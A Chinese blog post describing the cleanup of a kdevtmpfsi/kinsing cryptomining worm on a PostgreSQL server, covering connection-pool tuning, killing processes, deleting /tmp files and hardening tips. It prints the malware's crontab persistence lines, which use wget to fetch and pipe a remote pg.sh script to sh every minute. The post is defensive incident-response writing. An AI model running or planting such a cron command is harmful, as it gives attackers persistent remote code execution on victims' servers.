挖矿僵尸网络蠕虫病毒kdevtmpfsi处理过程
背景:
- pgsql连接时候报错 - org.postgresql.util.PSQLException: FATAL: sorry, too many clients already, 意思是client已经把连接池占满了.
- 使用 - ps -ef | grep postgres删除几个进程, 进入数据库运行- SELECT * FROM pg_stat_activity, 发现大部分都是- idle空闲状态的连接
- 然后修改 - /var/lib/pgsql/14/data/postgres.conf中的- idle_session_timeout为2000(2s), 但是数据库中有警告(如下), 同时navicat中稍等2s后也会报这样异常, 但是再次运行就可以. 因为navicat/dbeaver也是通过连接池方式与数据库进行的连接- 2023-02-20 14:15:37.926 2023-02-20 14:15:37,926 [http-nio-80-exec-1459] WARN com.zaxxer.hikari.pool.PoolBase 173 - HikariPool-98 - Failed to validate connection org.postgresql.jdbc.PgConnection@5e029bbb (This connection has been closed.)
- 后来只好将 - idle_session_timeout恢复, 然后尝试扩大线程池大小
- 但是线程池大小跟服务器配置有关, 默认的大小是100, 在 - postgres.conf中修改- max_connections为200, 重启数据库虽然可以正常使用, 但是在tomcat重启时(war包会依次重新部署), 服务器因为数据库连接池太大, 导致tomcat启动失败(可能是堆栈溢出了).
- 再次尝试调整到150, 虽然可以正常使用, 但是postgres会占用cpu太高, 300%左右, 只好调整回100. 
- 在pgsql高版本中对此也有一部分配置, 比如每隔几分钟会发现无效连接并进行关闭, 可以减轻部分连接池压力(详情见参考1) - 一、idle_session_timeout参数 用来控制空闲会话连接超时的时间。区别于tcp_keepalives相关参数, 当一个会话连接长时间没有执行SQL或者活动时,会将该会话释放,可以释放缓存避免出现例如OOM等问题 idle_session_timeout:默认值为0,表示禁用,其单位是毫秒; 14版本引入了idle_session_timeout参数,可以在设置该参数,超过设置的时间,数据库会关闭空闲连接。之前的老版本可以使用pg_timeout插件,达到同样的效果。但是同样也会关闭掉我们想保留的正常的空闲连接,所以设置TCP keepalive是更好的解决方案。 二、postgresql的tcp_keepalives相关参数设置可以及时发现无效连接, 如下这样可以在5分钟以内就探测出无效连接 tcp_keepalives_idle = 60 # TCP_KEEPIDLE, in seconds; tcp_keepalives_interval = 20 # TCP_KEEPINTVL, in seconds; tcp_keepalives_count = 10 # TCP_KEEPCNT; 三、PG14版本还引入了client_connection_check_interval参数, 每隔一段时间检测client是否离线(断开),如果已经离线,则快速结束掉正在运行的query,,浪费数据库资源。默认是0,单位默认毫秒 官方文档解释: client_connection_check_interval = 0 # time between checks for client # disconnection while running queries; 0 for never
 
- 就在调整回100后过了半个小时, 进服务器使用 - top复查时, 发现了一个还有一个线程占用了- 388.0%, 名称为- kdevtmpfsi, 经过百度发现这是个在20年处爆发的- 挖矿僵尸网络蠕虫病毒, 但是网上都是说是通过redis未授权或弱口令作为入口进行侵入的, 但是这次遇到的情况却不是因为redis引起的. 
- 第一步肯定是先把进程停了: 使用 - kill -9 pid停止进程, 发现有个依赖进程- kinsing, 那就先使用- ps -ef | grep kinsing找到对应的pid停止即可.
- 如果到这一步停止的话, 过不了多久他会自动重新启动的. 
- 继续挖, 全盘查找这两个文件 - find / kinsing发现只有- /tmp中有, 我第一次时候直接- rm -f /tmp/kinsing删除了这两个文件, 然后就束手无策了, 但是在一小时左右时候- kinsing又重新生成了.
- 通过 - ll发现- kinsing的拥有者是- postgres, 这时才确定了是pgsql引起的, 而不是redis引起的 
- 接下来就好说了, 首先删除 - kinsing文件
- 使用 - crontab指令(下方是使用说明)找出- postgres创建的定时任务, 删除掉即可.
Usage:
 crontab [options] file
 crontab [options]
 crontab -n [hostname]
Options:
 -u <user>  define user
 -e         edit user's crontab
 -l         list user's crontab
 -r         delete user's crontab
 -i         prompt before deleting
 -n <host>  set host in cluster to run users' crontabs
 -c         get host in cluster to run users' crontabs
 -s         selinux context
 -V         print version and exit
 -x <mask>  enable debugging
-u 定义用户(谁建立的)
-e 修改用户创建的定时任务
-l 列举出用户创建的定时任务
-r 删除用户创建的定时任务
crontab -u postgres -e 使用默认编辑器打开postgres创建的定时任务, 对应的定时任务文件在/var/spool/cron/目录下.
显示:
* * * * * wget -q -O - http://[ip]/pg.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://[other ip]/pg.sh | sh > /dev/null 2>&1
删除的话直接使用vim指令dd全部删除, :wq保存退出即可.
哪些有风险呢? 通过寻找解决之法时候发现包括但不限于以下几种
- redis 
- pgsql 
- php 
如何避免呢?
- 服务器上只开放使用到的服务器 
- 尽量不使用默认端口(如: 3306, 5432, 8848) 
- 不用使用默认密码, 一定修改密码, 且复杂度高一些 
- 安装包使用官方版本 
参考1: postgresql空闲连接以及连接有效性检查的参数小结
参考2: Postgres数据库修改最大连接数
参考3: 记一次服务器 linux(centos7)被 postgres 病毒攻击, 挖矿的事故
参考5: kdevtmpfsi using 100% of CPU?
参考6: 关于linux病毒kinsing kdevtmpfsi 的处理
参考7: Linux服务器kdevtmpfsi挖矿病毒解决方法:治标+治本
参考9: 威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发,建议用户及时排查以防事态升级
参考10: linux - kdevtmpfsi using the entire CPU
挖矿僵尸网络蠕虫病毒kdevtmpfsi处理过程的更多相关文章
- 挖矿病毒watchbog处理过程
		1 挖矿病毒watchbog处理过程 简要说明 这段时间公司的生产服务器中了病毒watchbog,cpu动不动就是100%,查看cpu使用情况,发现很大一部分都是us,而且占100%左右的都是进程wa ... 
- 加密采矿僵尸网路病毒还在蔓延! kinsing kdevtmpfsi redis yarn docker
		Hadoop yarn 加密采矿僵尸网路病毒还在继续蔓延! 解决步骤 如果你同样遇到了kdevtmpfsi异常进程,占用了非常高的CPU和出网带宽,影响到了你的正常业务,建议使用以下步骤解决 杀掉异常 ... 
- Cisco交换机解决网络蠕虫病毒入侵问题
		Cisco交换机解决网络蠕虫病毒入侵问题 今年来网络蠕虫泛滥给ISP和企业都造成了巨大损失,截至目前已发现近百万种病毒及木马.受感染的网络基础设施遭到破坏,以Sql Slammer为 ... 
- Watchbog挖矿病毒程序排查过程
		第1章 情况 1)服务器收到cpu报警,cpu被占用达到100%,登录服务器查看,发现cpu被一个watchbog的进程占满了,如下图所示: 2)并且无论如何都杀不掉,用kill杀掉后,其还是会隔一会 ... 
- 记一次生产主机中挖矿病毒"kintegrityds"处理过程!
		[记一次生产挖矿病毒处理过程]: 可能性:webaap用户密码泄露.Jenkins/redis弱口令等. 1.监控到生产主机一直load告警 2.进服务器 top查看进程,发现挖矿病毒进程,此进程持续 ... 
- 记一次服务器被植入挖矿木马cpu飙升200%解决过程
		线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序.突然一则噩耗从前线传来:网站不能访问了. 此项目是我负责,我以150+的手速立即打开了服务器 ... 
- 神奇的Java僵尸(defunct)进程问题排查过程
		现象描述 大概1个月多以前 在启动脚本中增加了tail -f 用来启动后追踪日志判断是否启动成功 后发现无法执行shutdown.sh(卡住 利用curl) 然后无奈使用kill -9 但通过ps - ... 
- linux服务器随机10字符病毒/libudev4.so病毒清理的过程
		故障表现:某天晚上突然收到某项目一台web服务器CPU报警,SSH连接困难卡顿,登陆后发现CPU使用率飙升到700%,第一感觉是被黑了,来事了. 故障处理: 1.登陆上后发现有好多莫名的命令(who/ ... 
- 记一次Linux服务器因redis漏洞的挖矿病毒入侵
		中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱. 所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!! ... 
- [转帖] securebootthemes 挖矿病毒的说明 http://blog.netlab.360.com/msraminer-qian-fu-yi-jiu-de-wa-kuang-jiang-shi-wang-luo/  原文为毛不给一个专杀工具呢.
		MsraMiner: 潜伏已久的挖矿僵尸网络 2017 年 11 月底,我们的 DNSMon 系统监测到几个疑似 DGA 产生的恶意域名活动有异常.经过我们深入分析,确认这背后是一个从 2017 年 ... 
随机推荐
- (GCC) gcc 编译选项 -fno-omit-frame-pointer,-fno-tree-vectorize,fno-optimize-sibling-calls;及内存泄漏、非法访问检测 ASAN
			omit-frame-pointer 开启该选项,主要是用于去掉所有函数SFP(Stack Frame Pointer)的,即在函数调用时不保存栈帧指针SFP,代价是不能通过backtrace进行调试 ... 
- SpringCloud -Netflix 总结·
			springcloud 核心组件 Spring Cloud是一系列框架的有序集合.它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册.配置中心.智能路由.消息 ... 
- MyBatis-Plus 分页插件过时
			引用:https://blog.csdn.net/zyw562123314/article/details/108903456//分页插件老版本过时 旧版本配置 @Bean public Pagina ... 
- 修改Listen 1源码的一点心得
			注:本文只作为技术交流 首先感谢听1的作者写出这么强大的音乐播放器!! 软件首页地址:点击打开链接 软件的github上上上地址:点击打开链接 软件唯一让我美中不足的就是不能下载,这可能是作者考虑到了 ... 
- 协程Part1-boost.Coroutine.md
			首先,在计算机科学中 routine 被定义为一系列的操作,多个 routine 的执行形成一个父子关系,并且子 routine 一定会在父 routine 结束前结束,也就是一个个的函数执行和嵌套执 ... 
- day06-功能实现05
			家居网购项目实现05 以下皆为部分代码,详见 https://github.com/liyuelian/furniture_mall.git 12.功能11-后台分页(分页显示家居) 12.1需求分析 ... 
- IPv4和IPv6地址的存取
			存入IP地址时,使用inet_pton函数将输入的十进制字符串转出二进制.取出IP时再使用inet_ptop函数将"二进制整数"转成"点分十进制整数"显示.这两 ... 
- 快速排序算法实现 (y总课后)
			主要思路: 1.确定 边界 l----------r (left right) 2.确定中间值 l--------x----------r 3.优雅快排: 设置两个指针i,j. i从左边开始运行 ... 
- 第六节 FAF与GP不工作保护区的绘制
			飞行程序设计软件实践 前一篇文章中,通过风标设计2023插件,我们在CAD中绘制了FAP方式下的精密进近保护区. 接着这个话题我们继续来看一下FAF方式下的保护区应该怎样绘制,以及OAS参数的其它用法 ... 
- GC耗时高,原因竟是服务流量小?
			原创:扣钉日记(微信公众号ID:codelogs),欢迎分享,转载请保留出处. 简介 最近,我们系统配置了GC耗时的监控,但配置上之后,系统会偶尔出现GC耗时大于1s的报警,排查花了一些力气,故在这里 ... 
